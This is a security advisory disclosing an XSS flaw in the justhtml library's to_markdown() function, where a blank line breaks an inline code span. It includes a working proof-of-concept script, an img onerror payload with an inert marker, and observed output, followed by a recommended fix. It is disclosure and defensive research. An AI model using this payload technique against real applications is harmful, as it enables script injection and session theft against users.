CVE-2026-77088

# justhtml: to_markdown() code-span blank-line breakout enables XSS ### Summary In `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `<code>` text (and `<pre>` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\n\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**. ### Details `to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and `SECURITY.md` promises `to_markdown()` "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely." The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries: `src/justhtml/node.py:32-41` (tag `v1.21.0`): ```python def _markdown_code_span(s: str | None) -> str: if s is None: s = "" # Use a backtick fence longer than any run of backticks inside. fence = _markdown_backtick_fence(s, minimum=1) # CommonMark requires a space if the content starts/ends with backticks. needs_space = s.startswith("`") or s.endswith("`") if needs_space: return f"{fence} {s} {fence}" return f"{fence}{s}{fence}" ``` The element's text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper: `src/justhtml/node.py:1061-1078` (tag `v1.21.0`): ```python if tag == "pre": code = current.to_text(separator="", strip=False) if current_in_link: current_builder.raw(_markdown_code_span(code)) # inline path else: fence = _markdown_backtick_fence(code, minimum=3) # block path ... if tag == "code" and not current_preserve: current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False))) ``` A Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `<img src=x onerror=...>` becomes a live element. Reachability with default settings: `JustHTML(html)` sanitizes by default; `<code>` and `<pre>` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `&lt;img …&gt;` enters the DOM as literal `<img …>` text while passing HTML sanitization. Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior: - **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `&lt;img …&gt;` outside a code span is neutralized to `&lt;img …>`. Inside a code span it is not escaped — the fence is assumed sufficient. - **`<pre>` outside a link uses a block fence** (`minimum=3`, line 1066), which a blank line cannot break. The same `<pre>` **inside a link** (line 1064) and all `<code>` use the inline span, which a blank line breaks. ### PoC Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path. `Dockerfile`: ```dockerfile FROM python:3.11-slim WORKDIR /poc RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \ && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped") COPY poc.py test.sh /poc/ CMD ["sh", "/poc/test.sh"] ``` `poc.py`: ```python #!/usr/bin/env python3 """PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS. Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML; no JS executed). --prove-exec is an opt-in, container-only execution check.""" from __future__ import annotations import argparse from html.parser import HTMLParser from justhtml import JustHTML from markdown_it import MarkdownIt MARKER = "__POC_XSS_MARKER__" PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>" RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default def build_inputs() -> tuple[str, str]: enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;") control = f"<code>q{enc}</code>" # no blank line -> should stay inert exploit = f"<code>q\n\n{enc}</code>" # + one blank line -> the whole exploit return control, exploit def to_markdown(html: str) -> str: return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True class _SinkFinder(HTMLParser): def __init__(self) -> None: super().__init__(); self.sinks: list[tuple[str, str, str]] = [] def handle_starttag(self, tag, attrs): for name, val in attrs: if name.startswith("on") and val and MARKER in val: self.sinks.append((tag, name, val)) def live_sinks(html: str): f = _SinkFinder(); f.feed(html); return f.sinks def show(label: str, html: str): md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered) print(f"== {label} ==") print(f" 1. input HTML : {html!r}") print(f" 2. to_markdown() out : {md!r}") print(f" 3. CommonMark render : {rendered.strip()!r}") print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n") return rendered, sinks def prove_exec(rendered: str) -> None: print("== --prove-exec (supplementary, container-only) ==") sinks = live_sinks(rendered) if not sinks: print(" no sink to execute"); return handler_js = sinks[0][2] print(f" materialized handler JS: {handler_js!r}") try: import dukpy except Exception: print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;") print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire") def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--prove-exec", action="store_true") args = ap.parse_args() control, exploit = build_inputs() print("Delta between control and exploit: exactly one blank line (\\n\\n).\n") _, c_sinks = show("CONTROL (payload in <code>, NO blank line)", control) ex_rendered, e_sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit) ok = (not c_sinks) and bool(e_sinks) print("== VERDICT ==") print(" BYPASS CONFIRMED." if ok else " not reproduced") if ok: print(f" Sanitized code text became a LIVE element: {e_sinks[0]}") print() if ok and args.prove_exec: prove_exec(ex_rendered) return 0 if ok else 1 if __name__ == "__main__": raise SystemExit(main()) ``` Build and run: ```bash docker build -t justhtml-md-poc ./poc docker run --rm justhtml-md-poc ``` Observed output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`): ``` === Versions under test === Name: justhtml Version: 1.21.0 Name: markdown-it-py Version: 4.2.0 Delta between control and exploit: exactly one blank line (\n\n) inserted into otherwise identical <code> text. == CONTROL (payload in <code>, NO blank line) == 1. input HTML : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>' 2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`' 3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>' 4. live JS sinks : NONE (inert) == EXPLOIT (payload in <code>, + blank line) == 1. input HTML : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>' 2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`' 3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>' 4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')] == VERDICT == BYPASS CONFIRMED. The blank line terminated the inline code span; sanitized code text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()') The control (no blank line) stayed inert inside <code>. ``` The exploit is byte-identical to the inert control plus a single blank line (`\n\n`). Deterministic: same input → same result. Optional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`) — supplementary; the parse proof above is canonical. Inert marker only: ``` == --prove-exec (supplementary, container-only) == materialized handler JS: '__POC_XSS_MARKER__()' JS engine result: 'XSS-EXECUTED' -> attacker JS executed ``` ### Impact This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default). An attacker only needs to control HTML text inside a `<code>` element, or a `<pre>` element within a link — no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim. Severity: CVSS 3.1 **6.1 (Moderate)**, `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it. ### Recommended fix Do not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `<code>` and in-link `<pre>` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\n`), emit it as a fenced code **block** — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere. ### Resources - CWE-79 — https://cwe.mitre.org/data/definitions/79.html - CWE-116 — https://cwe.mitre.org/data/definitions/116.html - Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`), `src/justhtml/node.py:1061-1078` (`<pre>`/`<code>` dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans - Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `<pre>` code **blocks**. Neither addresses a **blank-line** break of an **inline** code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).